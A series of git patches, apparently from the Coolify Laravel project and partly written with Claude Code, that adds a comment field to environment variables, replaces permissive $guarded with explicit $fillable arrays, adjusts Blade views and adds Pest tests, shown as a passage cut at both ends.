@@ + ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'], + 'KEY3' => ['value' => 'value3', 'comment' => null], + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBe('This is a comment'); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles plain string format gracefully', function () { + // Simulate a scenario where parseEnvFormatToArray might return plain strings + // (for backward compatibility or edge cases) + $variables = [ + 'KEY1' => 'value1', + 'KEY2' => 'value2', + 'KEY3' => 'value3', + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($comment)->toBeNull(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + } +}); + +test('DockerCompose handles mixed array and string formats', function () { + // Simulate a mixed scenario (unlikely but possible) + $variables = [ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'], + 'KEY2' => 'value2', // Plain string + 'KEY3' => ['value' => 'value3', 'comment' => null], + 'KEY4' => 'value4', // Plain string + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBe('comment1'); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY4') { + expect($value)->toBe('value4'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles empty array values gracefully', function () { + // Simulate edge case with incomplete array structure + $variables = [ + 'KEY1' => ['value' => 'value1'], // Missing 'comment' key + 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case) + 'KEY3' => [], // Empty array (edge case) + ]; + + // Test the extraction logic with improved fallback + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction doesn't crash + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + // If 'value' is missing, fallback to empty string (not the whole array) + expect($value)->toBe(''); + expect($comment)->toBe('comment2'); + } elseif ($key === 'KEY3') { + // If both are missing, fallback to empty string (not empty array) + expect($value)->toBe(''); + expect($comment)->toBeNull(); + } + } +}); From 2bba5ddb2eec4feec77e9838d23095ca89d14fe9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 13:47:11 +0100 Subject: [PATCH 006/305] refactor: add explicit fillable array to EnvironmentVariable model MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace permissive $guarded = [] with explicit $fillable array for better security and clarity. The fillable array includes all 13 fields that are legitimately mass-assignable: - Core: key, value, comment - Polymorphic relationship: resourceable_type, resourceable_id - Boolean flags: is_preview, is_multiline, is_literal, is_runtime, is_buildtime, is_shown_once, is_shared - Metadata: version, order Also adds comprehensive test suite (EnvironmentVariableMassAssignmentTest) with 12 test cases covering: - Mass assignment of all fillable fields - Comment field edge cases (null, empty, long text) - Value encryption verification - Key mutation (trim and space replacement) - Protection of auto-managed fields (id, uuid, timestamps) - Update method compatibility All tests passing (12 passed, 33 assertions). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- app/Models/EnvironmentVariable.php | 24 +- .../EnvironmentVariableMassAssignmentTest.php | 217 ++++++++++++++++++ 2 files changed, 240 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/EnvironmentVariableMassAssignmentTest.php diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index c98b0e82a..a2ab0cfc2 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -32,7 +32,29 @@ )] class EnvironmentVariable extends BaseModel { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Polymorphic relationship + 'resourceable_type', + 'resourceable_id', + + // Boolean flags + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_shared', + + // Metadata + 'version', + 'order', + ]; protected $casts = [ 'key' => 'string', diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php new file mode 100644 index 000000000..f2650fdc7 --- /dev/null +++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php @@ -0,0 +1,217 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create(); + + $this->actingAs($this->user); +}); + +test('all fillable fields can be mass assigned', function () { + $data = [ + 'key' => 'TEST_KEY', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_literal' => true, + 'is_multiline' => true, + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'is_shown_once' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]; + + $env = EnvironmentVariable::create($data); + + expect($env->key)->toBe('TEST_KEY'); + expect($env->value)->toBe('test_value'); + expect($env->comment)->toBe('Test comment'); + expect($env->is_literal)->toBeTrue(); + expect($env->is_multiline)->toBeTrue(); + expect($env->is_preview)->toBeFalse(); + expect($env->is_runtime)->toBeTrue(); + expect($env->is_buildtime)->toBeFalse(); + expect($env->is_shown_once)->toBeFalse(); + expect($env->resourceable_type)->toBe(Application::class); + expect($env->resourceable_id)->toBe($this->application->id); +}); + +test('comment field can be mass assigned with null', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => null, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); +}); + +test('comment field can be mass assigned with empty string', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => '', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe(''); +}); + +test('comment field can be mass assigned with long text', function () { + $comment = str_repeat('This is a long comment. ', 10); + + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(strlen($comment)); +}); + +test('all boolean fields default correctly when not provided', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Boolean fields can be null or false depending on database defaults + expect($env->is_multiline)->toBeIn([false, null]); + expect($env->is_preview)->toBeIn([false, null]); + expect($env->is_runtime)->toBeIn([false, null]); + expect($env->is_buildtime)->toBeIn([false, null]); + expect($env->is_shown_once)->toBeIn([false, null]); +}); + +test('value field is properly encrypted when mass assigned', function () { + $plainValue = 'secret_value_123'; + + $env = EnvironmentVariable::create([ + 'key' => 'SECRET_KEY', + 'value' => $plainValue, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Value should be decrypted when accessed via model + expect($env->value)->toBe($plainValue); + + // Verify it's actually encrypted in the database + $rawValue = \DB::table('environment_variables') + ->where('id', $env->id) + ->value('value'); + + expect($rawValue)->not->toBe($plainValue); + expect($rawValue)->not->toBeNull(); +}); + +test('key field is trimmed and spaces replaced with underscores', function () { + $env = EnvironmentVariable::create([ + 'key' => ' TEST KEY WITH SPACES ', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->key)->toBe('TEST_KEY_WITH_SPACES'); +}); + +test('version field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'version' => '1.2.3', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The booted() method sets version automatically, so it will be the current version + expect($env->version)->not->toBeNull(); +}); + +test('mass assignment works with update method', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->update([ + 'value' => 'updated_value', + 'comment' => 'Updated comment', + 'is_literal' => true, + ]); + + $env->refresh(); + + expect($env->value)->toBe('updated_value'); + expect($env->comment)->toBe('Updated comment'); + expect($env->is_literal)->toBeTrue(); +}); + +test('protected attributes cannot be mass assigned', function () { + $customDate = '2020-01-01 00:00:00'; + + $env = EnvironmentVariable::create([ + 'id' => 999999, + 'uuid' => 'custom-uuid', + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'created_at' => $customDate, + 'updated_at' => $customDate, + ]); + + // id should be auto-generated, not 999999 + expect($env->id)->not->toBe(999999); + + // uuid should be auto-generated, not 'custom-uuid' + expect($env->uuid)->not->toBe('custom-uuid'); + + // Timestamps should be current, not 2020 + expect($env->created_at->year)->toBe(now()->year); +}); + +test('order field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'order' => 5, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->order)->toBe(5); +}); + +test('is_shared field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'is_shared' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Note: is_shared is also computed via accessor, but can be mass assigned + expect($env->is_shared)->not->toBeNull(); +}); From 4e329053ddd22ba13f802f2500f0d743e1835300 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 14:48:08 +0100 Subject: [PATCH 007/305] feat: add comment field to shared environment variables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add comment field support to the "New Shared Variable" modal, ensuring it's saved properly for both normal and shared environment variables at all levels (Team, Project, Environment). Changes: - Add comment property, validation, and dispatch to Add component (Livewire & view) - Update saveKey methods in Team, Project, and Environment to accept comment - Replace SharedEnvironmentVariable model's $guarded with explicit $fillable array - Include comment field in creation flow for all shared variable types The comment field (max 256 chars, optional) is now available when creating shared variables and is consistently saved across all variable types. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../Project/Shared/EnvironmentVariable/Add.php | 6 ++++++ .../SharedVariables/Environment/Show.php | 1 + app/Livewire/SharedVariables/Project/Show.php | 1 + app/Livewire/SharedVariables/Team/Index.php | 1 + app/Models/SharedEnvironmentVariable.php | 18 +++++++++++++++++- .../shared/environment-variable/add.blade.php | 3 +++ 6 files changed, 29 insertions(+), 1 deletion(-) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php index fa65e8bd2..73d5393b0 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php @@ -31,6 +31,8 @@ class Add extends Component public bool $is_buildtime = true; + public ?string $comment = null; + public array $problematicVariables = []; protected $listeners = ['clearAddEnv' => 'clear']; @@ -42,6 +44,7 @@ class Add extends Component 'is_literal' => 'required|boolean', 'is_runtime' => 'required|boolean', 'is_buildtime' => 'required|boolean', + 'comment' => 'nullable|string|max:256', ]; protected $validationAttributes = [ @@ -51,6 +54,7 @@ class Add extends Component 'is_literal' => 'literal', 'is_runtime' => 'runtime', 'is_buildtime' => 'buildtime', + 'comment' => 'comment', ]; public function mount() @@ -136,6 +140,7 @@ public function submit() 'is_runtime' => $this->is_runtime, 'is_buildtime' => $this->is_buildtime, 'is_preview' => $this->is_preview, + 'comment' => $this->comment, ]); $this->clear(); } @@ -148,5 +153,6 @@ public function clear() $this->is_literal = false; $this->is_runtime = true; $this->is_buildtime = true; + $this->comment = null; } } diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index 0bdc1503f..e1b230218 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -40,6 +40,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'environment', 'team_id' => currentTeam()->id, ]); diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index b205ea1ec..1f304b543 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'project', 'team_id' => currentTeam()->id, ]); diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index e420686f0..75fd415e1 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'team', 'team_id' => currentTeam()->id, ]); diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 7956f006a..9bd42c328 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -6,7 +6,23 @@ class SharedEnvironmentVariable extends Model { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Type and relationships + 'type', + 'team_id', + 'project_id', + 'environment_id', + + // Boolean flags + 'is_multiline', + 'is_literal', + 'is_shown_once', + ]; protected $casts = [ 'key' => 'string', diff --git a/resources/views/livewire/project/shared/environment-variable/add.blade.php b/resources/views/livewire/project/shared/environment-variable/add.blade.php index 9bc4f06a3..a17984d21 100644 --- a/resources/views/livewire/project/shared/environment-variable/add.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/add.blade.php @@ -16,6 +16,9 @@ @endif + + @if (!$shared) Date: Tue, 18 Nov 2025 15:05:27 +0100 Subject: [PATCH 008/305] fix: save comment field when creating application environment variables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The comment field was not being saved when creating environment variables from applications, even though it worked for shared environment variables. The issue was in the createEnvironmentVariable method which was missing the comment assignment. Added: $environment->comment = $data['comment'] ?? null; The comment is already dispatched from the Add component and now it's properly saved to the database for application environment variables. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- app/Livewire/Project/Shared/EnvironmentVariable/All.php | 1 + 1 file changed, 1 insertion(+) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 35879665d..ded717b26 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -230,6 +230,7 @@ private function createEnvironmentVariable($data) $environment->is_runtime = $data['is_runtime'] ?? true; $environment->is_buildtime = $data['is_buildtime'] ?? true; $environment->is_preview = $data['is_preview'] ?? false; + $environment->comment = $data['comment'] ?? null; $environment->resourceable_id = $this->resource->id; $environment->resourceable_type = $this->resource->getMorphClass(); From a4d546596337da3983cc819dadf70c91d4b97c92 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 15:09:11 +0100 Subject: [PATCH 009/305] feat: show comment field for locked environment variables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When an environment variable is locked (is_shown_once=true), the comment field is now displayed as disabled/read-only for future reference. This allows users to see the documentation/note about what the variable is for, even when the value is hidden for security. The comment field appears after the key field and before the configuration checkboxes in the locked view. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../project/shared/environment-variable/show.blade.php | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 80b607bd7..48fb5f1bf 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -21,6 +21,12 @@ step2ButtonText="Permanently Delete" /> @endcan + @if ($comment) +
+ +
+ @endif @can('update', $this->env)
From 4623853c997b7454868dd62472d04d0d833b69e0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 15:12:30 +0100 Subject: [PATCH 010/305] fix: allow editing comments on locked environment variables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Modified the locked environment variable view to keep the comment field editable even when the variable value is locked. Users with update permission can now edit comments on locked variables, while users without permission can still view the comment for reference. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../shared/environment-variable/show.blade.php | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 48fb5f1bf..43eb88335 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -21,13 +21,11 @@ step2ButtonText="Permanently Delete" /> @endcan
- @if ($comment) -
- -
- @endif @can('update', $this->env) +
+ +
@if (!$is_redis_credential) @@ -115,6 +113,10 @@ @endif
+
+ +
@endcan @else @can('update', $this->env) From c8558b5f7885b91711429b3c16a78089de81af97 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 15:13:55 +0100 Subject: [PATCH 011/305] fix: add Update button for locked environment variable comments MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Removed instantSave from comment field and added a proper Update button with Delete modal for locked environment variables. This ensures users can explicitly save their comment changes on locked variables. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../shared/environment-variable/show.blade.php | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 43eb88335..b41d223ce 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -23,7 +23,7 @@
@can('update', $this->env)
-
@@ -71,6 +71,17 @@ @endif
+
+ Update + @can('delete', $this->env) + + @endcan +
@else
From c1be02dfb908d12a34d7f592d5ead4e59f48a589 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 15:22:57 +0100 Subject: [PATCH 012/305] fix: remove duplicate delete button from locked environment variable view MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Removed the duplicate delete button that was appearing at the bottom of locked environment variables. The delete button at the top (next to the lock icon) is sufficient. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../project/shared/environment-variable/show.blade.php | 8 -------- 1 file changed, 8 deletions(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index b41d223ce..918df8e50 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -73,14 +73,6 @@
Update - @can('delete', $this->env) - - @endcan
@else
From dfb180601ae7e28682dd93a28660ac41f1f0d7f0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 15:24:19 +0100 Subject: [PATCH 013/305] fix: position Update button next to comment field for locked variables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Moved the Update button to appear inline with the comment field for better UX when editing comments on locked environment variables. The button now appears on the same row as the comment input on larger screens. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../shared/environment-variable/show.blade.php | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 918df8e50..c2865ccb8 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -22,9 +22,12 @@ @endcan
@can('update', $this->env) -
- +
+
+ +
+ Update
@@ -71,9 +74,6 @@ @endif
-
- Update -
@else
From d640911bb94e7ee4353fbf5d116af5204258fa12 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 22:26:07 +0100 Subject: [PATCH 014/305] fix: preserve existing comments in bulk update and always show save notification MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This commit fixes two UX issues with environment variable bulk updates: 1. Comment Preservation (High Priority Bug): - When bulk updating environment variables via Developer view, existing manually-entered comments are now preserved when no inline comment is provided - Only overwrites existing comments when an inline comment (#comment) is explicitly provided in the pasted content - Previously: pasting "KEY=value" would erase existing comment to null - Now: pasting "KEY=value" preserves existing comment, "KEY=value #new" overwrites it 2. Save Notification (UX Improvement): - "Save all Environment variables" button now always shows success notification - Previously: only showed notification when changes were detected - Now: provides feedback even when no changes were made - Consistent with other save operations in the codebase Changes: - Modified updateOrCreateVariables() to only update comment field when inline comment is provided (null check prevents overwriting existing comments) - Modified handleBulkSubmit() to always dispatch success notification unless error occurred - Added comprehensive test coverage for bulk update comment preservation scenarios Tests: - Added 4 new feature tests covering comment preservation edge cases - All 22 existing unit tests for parseEnvFormatToArray pass - Code formatted with Pint 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../Shared/EnvironmentVariable/All.php | 10 +- .../EnvironmentVariableCommentTest.php | 133 ++++++++++++++++++ 2 files changed, 138 insertions(+), 5 deletions(-) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index ded717b26..f867aaf3d 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -193,8 +193,8 @@ private function handleBulkSubmit() } } - // Only show success message if changes were actually made and no errors occurred - if ($changesMade && ! $errorOccurred) { + // Always show success message unless an error occurred + if (! $errorOccurred) { $this->dispatch('success', 'Environment variables updated.'); } } @@ -294,9 +294,9 @@ private function updateOrCreateVariables($isPreview, $variables) $changed = true; } - // Always update comment from inline comment (overwrites existing) - // Set to comment if provided, otherwise set to null if no comment - if ($found->comment !== $comment) { + // Only update comment from inline comment if one is provided (overwrites existing) + // If $comment is null, don't touch existing comment field to preserve it + if ($comment !== null && $found->comment !== $comment) { $found->comment = $comment; $changed = true; } diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php index 5efb2b953..8b02ad8bf 100644 --- a/tests/Feature/EnvironmentVariableCommentTest.php +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -148,3 +148,136 @@ ->call('submit') ->assertHasErrors(['comment' => 'max']); }); + +test('bulk update preserves existing comments when no inline comment provided', function () { + // Create existing variable with a manually-entered comment + $env = EnvironmentVariable::create([ + 'key' => 'DATABASE_URL', + 'value' => 'postgres://old-host', + 'comment' => 'Production database', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User switches to Developer view and pastes new value without inline comment + $bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variablesInput', $bulkContent) + ->call('saveVariables'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('postgres://new-host'); + + // The manually-entered comment should be PRESERVED + expect($env->comment)->toBe('Production database'); +}); + +test('bulk update overwrites existing comments when inline comment provided', function () { + // Create existing variable with a comment + $env = EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User pastes new value WITH inline comment + $bulkContent = 'API_KEY=new-key #Updated production key'; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variablesInput', $bulkContent) + ->call('saveVariables'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('new-key'); + + // The comment should be OVERWRITTEN with the inline comment + expect($env->comment)->toBe('Updated production key'); +}); + +test('bulk update handles mixed inline and stored comments correctly', function () { + // Create two variables with comments + $env1 = EnvironmentVariable::create([ + 'key' => 'VAR_WITH_COMMENT', + 'value' => 'value1', + 'comment' => 'Existing comment 1', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env2 = EnvironmentVariable::create([ + 'key' => 'VAR_WITHOUT_COMMENT', + 'value' => 'value2', + 'comment' => 'Existing comment 2', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Bulk paste: one with inline comment, one without + $bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variablesInput', $bulkContent) + ->call('saveVariables'); + + // Refresh both variables + $env1->refresh(); + $env2->refresh(); + + // First variable: comment should be overwritten with inline comment + expect($env1->value)->toBe('new_value1'); + expect($env1->comment)->toBe('New inline comment'); + + // Second variable: comment should be preserved + expect($env2->value)->toBe('new_value2'); + expect($env2->comment)->toBe('Existing comment 2'); +}); + +test('bulk update creates new variables with inline comments', function () { + // Bulk paste creates new variables, some with inline comments + $bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variablesInput', $bulkContent) + ->call('saveVariables'); + + // Check that variables were created with correct comments + $var1 = EnvironmentVariable::where('key', 'NEW_VAR1') + ->where('resourceable_id', $this->application->id) + ->first(); + $var2 = EnvironmentVariable::where('key', 'NEW_VAR2') + ->where('resourceable_id', $this->application->id) + ->first(); + $var3 = EnvironmentVariable::where('key', 'NEW_VAR3') + ->where('resourceable_id', $this->application->id) + ->first(); + + expect($var1->value)->toBe('value1'); + expect($var1->comment)->toBe('Comment for var1'); + + expect($var2->value)->toBe('value2'); + expect($var2->comment)->toBeNull(); + + expect($var3->value)->toBe('value3'); + expect($var3->comment)->toBe('Comment for var3'); +}); From 61dcf8b4ac1c6d95d9c11797615136731134015a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 25 Nov 2025 09:32:12 +0100 Subject: [PATCH 015/305] refactor: replace inline note with callout component for consistency MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Use x-callout component in developer view for env var note - Simplify label text from "Comment (Optional)" to "Comment" - Minor code formatting improvements via Pint 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- bootstrap/helpers/shared.php | 2 +- .../shared/environment-variable/add.blade.php | 2 +- .../shared/environment-variable/all.blade.php | 29 +++++++---------- .../environment-variable/show.blade.php | 31 +++++++++++-------- 4 files changed, 32 insertions(+), 32 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index d5b693837..dc7136275 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -446,7 